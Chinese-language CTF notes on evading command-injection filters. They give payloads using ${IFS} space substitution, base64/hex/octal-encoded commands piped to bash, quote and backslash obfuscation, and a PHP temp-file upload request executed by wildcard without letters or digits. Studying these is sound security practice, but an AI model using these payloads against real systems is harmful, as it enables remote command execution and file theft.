空格绕过
使用${IFS}
${IFS}:在linux下,${IFS}是分隔符的意思,所以可以有${IFS}进行空格的替代。
$IFS$9:$起截断作用,9为当前shell进程的第九个参数,始终为空字符串,所以同样能代替空字符串进行分割。
$IFS$1
<:>>和>都属于输出重定向,<属于输入重定向。
<>
{,}
关键字绕过
Base64编码绕过:
echo MTIzCg==|base64 -d //打印123,MTIzCg==是123的base64编码
echo "Y2F0IC9mbGFn"|base64 -d|bash //执行cat /flag
echo "bHM="|base64 -d|sh //将执行ls
Hex编码绕过:
echo "636174202f666c6167"|xxd -r -p|bash 将执行cat /flag
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") 执行cat /flag
Oct编码绕过:
$(printf "\143\141\164\40\151\156\144\145\170\56\160\150\160") 执行cat index.php
$(printf "\154\163") 执行ls
内联执行绕过:
echo "a`pwd`" # 输出a/opt
cat$IFS$9`ls` # 查看当前目录下的所有的文件内容
引号绕过:
ca""t => cat
mo''re => more
反斜杠绕过:
ca\t => cat
mo\re => more
常用linux 读取文件
一般会过滤cat
,这里收集几种能读flag的
cat /flag
dd if=/flag
uniq /flag
tac /flag
strings /flag
无字母数字命令执行
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
主要利用三个点
1.在php中,上传的临时文件存在了/tmp/
文件夹中,,默认的文件名是/tmp/phpXXXXXX
,文件名最后6个字符是随机的大小写字母
2.我们可以使用.
来执行sh脚本,主要原理是它的作用和source一样,就是用当前的shell执行一个文件中的命令,并且不需要执行的脚本有可执行的权限,有点类似于其它有执行权限的脚本调用需要执行的脚本执行
3.我们可以只用通配符?
来匹配我们要执行的文件,由于这里第二个参数是个文件,所以我们可以使用这种方式
POST /?c=.+/???/????????[@-[] HTTP/1.1
Host: aaca8e4e-fa2a-49b6-a82e-e0711e948e11.challenge.ctf.show
Content-Length: 218
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Origin: http://localhost:3000
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKXJOwK9i8Jc92kRd
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:3000/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Priority: u=0, i
Connection: keep-alive
------WebKitFormBoundaryKXJOwK9i8Jc92kRd
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: application/octet-stream
#!/bin/sh
cat flag.php
------WebKitFormBoundaryKXJOwK9i8Jc92kRd--
其中最主要的就是利用.+/???/????????[@-[]
执行shell
这里[@-[]
匹配到的是大写字母,而字母又是随机的所以只有50%能执行成功
拼出数字
只有$、(、)、运算符
eg:
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}
首先我们要知道,在linux中通常使用$(())
来进行简单的数值计算
┌──(kali㉿kali)-[~/Desktop/shiyan/shiyan2]
└─$ echo $((1+1))
2
而没有计算式子的时候,默认返回0
再者$((~0))
会得到-1
在上面的题我们要拼出数字37可以先通过-1
累计37次到-37
然后再取~
即可得到36
可以得到
其中$((~$(())))=-1
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
无法输入flag
可以利用`来获取需要cat的对象
eg:
cat `ls`